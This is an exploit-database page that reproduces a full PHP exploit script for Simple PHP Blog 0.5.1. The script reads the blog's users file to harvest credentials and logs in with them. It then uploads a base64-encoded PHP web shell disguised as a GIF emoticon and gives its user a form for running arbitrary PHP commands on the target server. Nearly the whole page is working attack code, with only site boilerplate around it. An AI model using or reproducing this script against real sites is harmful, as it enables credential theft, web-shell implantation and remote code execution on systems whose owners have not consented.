Lucene search
K

Simple PHP Blog (SPHPBlog) <= 0.5.1 Code Execution Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 18 Views

Simple PHP Blog (SPHPBlog) 0.5.1 Code Execution Exploi

Code

                                                &#60;?
/*
   sIMPLE php bLOG 0.5.0 eXPLOIT
   bY mAXzA 2008
*/
function curl($url,$postvar){
  global $cook;
  $ch = curl_init( $url );
  curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  curl_setopt ($ch, CURLOPT_HEADER, 1);
  curl_setopt ($ch, CURLOPT_REFERER,&#34;$url&#34;);
  if (strlen($postvar)&#60;3) $postvar=&#34;123&#34;;
      curl_setopt ($ch, CURLOPT_POSTFIELDS, $postvar);
  if (strlen($cook)&#62;3)
      curl_setopt ($ch, CURLOPT_COOKIE, &#34;$cook&#34;);
  $res = curl_exec ($ch);$err=curl_error ( $ch );if ($err) print &#34;&#60;hr&#62;$err&#60;hr&#62;&#34;;
  curl_close($ch);
  return $res;
}

function error($msg){
  print &#34;&#60;hr&#62;$msg&#60;hr&#62;\n&#60;h1&#62;Not Exploitable&#34;;exit;
}

extract($_POST);extract($_GET);

print &#34;&#60;pre&#62;URL:&#60;form method=post&#62;&#60;input size=80 name=url value=`$url`&#62;&#34;;
if (strlen($eval)&#62;3){
   $eval=stripslashes($eval);
   print &#34;\nEnter PHP Command:\n&#60;textarea name=eval rows=10 cols=90&#62;$eval&#60;/textarea&#62;&#34;;
   print &#34;&#60;input type=submit value=&#39;Eval&#39;&#62;&#60;/form&#62;&#34;;
   $res=curl(&#34;$url/images/emoticons/sphp.php&#34;,&#34;z=$eval&#34;);
   $res=strstr($res,&#34;GIF89a&#34;);
   print substr($res,41);exit;
}

if (strlen($url)&#62;10)
{
  print &#34;\n&#60;hr&#62;Trying to Get /config/users.php...&#34;;flush();
  $res=curl($url.&#34;/config/users.php&#34;,&#34;&#34;);
  if (strstr($res,&#39;|&#39;)) print &#34;Done!\n\n$res&#34;;
  else error(&#34;\n\nUsername & Password Not Found\n\n$res&#34;);

  print &#34;\n&#60;hr&#62;Trying to Get Username & Password...&#34;;flush();
  $res=str_replace(&#34;\r\n&#34;,&#34;\n&#34;,$res);
  $res=substr($res,strpos($res,&#34;\n\n&#34;)+2);
  $line=explode(&#34;\n&#34;,$res);$n=count($line)-1;
  if ($n) {
  print &#34;\nDone! Found - $n users:\n&#34;;
   for ($x=0;$x&#60;$n;$x++){
     $up=explode(&#34;|&#34;,$line[$x]);$user[$x]=$up[1];$pass[$x]=substr($up[2],0,2);
     print &#34;\nUsername - &#34;.$up[1].&#34;\tPassword - &#34;.$up[2];
   }
  }

  print &#34;\n&#60;hr&#62;Trying to Login...&#34;;flush();
  $postvar=&#34;user=$user[0]&pass=$pass[0]&&#34;;
  $res=curl($url.&#34;/login_cgi.php&#34;,&#34;$postvar&#34;);
  $cook=strstr($res,&#39;Set-Cookie: sid=&#39;);
  $cook=substr($cook,12,strpos($cook,&#39;;&#39;)-12);
  if ($cook) print &#34;\n\nDone...  Cookie - $cook&#34;;else error(&#34;\n&#60;h1&#62;Error To Login&#60;/h1&#62;\n\n\n$res&#34;);

  print &#34;\n&#60;hr&#62;Trying to Upload Emoticon...&#34;;flush();
  $buf=&#34;R0lGODlhAQABAIAAAP///wAAACH5BAEUAAAALAAAAAABAAEAAAICRAE8PyBldmFsKHN0cmlwc2xhc2hlcygkX1BPU1Rbel0pKTtleGl0Oz8+Ow==&#34;;
  if (@filesize(&#39;sphp.php&#39;)!=82){
       $f=fopen(&#39;sphp.php&#39;,&#34;w&#34;);fwrite($f,base64_decode($buf));fclose($f);
  }
  $f=getcwd().&#34;/sphp.php&#34;;
  $res=curl($url.&#34;/emoticons.php&#34;,array(&#39;user_emot&#39;=&#62;&#34;@$f&#34;));
  if (strstr($res,&#34;Success!&#34;)) print &#34;\n\nDone! Exploit path - $url/images/emoticons/sphp.php&#34;; else error(&#34;\n&#60;h1&#62;Error To Upload&#60;/h1&#62;\n\n\n$res&#34;);

  print &#34;\n&#60;hr&#62;Trying to Exploit...&#34;;flush();
  $res=curl($url.&#34;/images/emoticons/sphp.php&#34;,&#34;z=print 20080824;&#34;);
  if (strstr($res,&#34;20080824&#34;)) print &#34;\n\nDone! Exploit Working!&#34;; else error(&#34;\n&#60;h1&#62;Error To Exploit&#60;/h1&#62;\n\n\n$res&#34;);

  print &#34;\n&#60;hr&#62;Trying to Logout...&#34;;flush();
  $res=curl($url.&#34;/logout.php&#34;,&#34;&#34;);
  if (strstr($res,&#34;You are now logged out&#34;)) print &#34;\n\nDone!&#34;; else error(&#34;\n&#60;h1&#62;Error To Logout&#60;/h1&#62;\n\n\n$res&#34;);
  print &#34;\nEnter PHP Command:\n&#60;textarea name=eval rows=10 cols=90&#62;&#60;/textarea&#62;&#34;;
}
print &#34;&#60;input type=submit &#62;&#60;/form&#62;&#34;;
?&#62;

# milw0rm.com [2008-08-26]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
18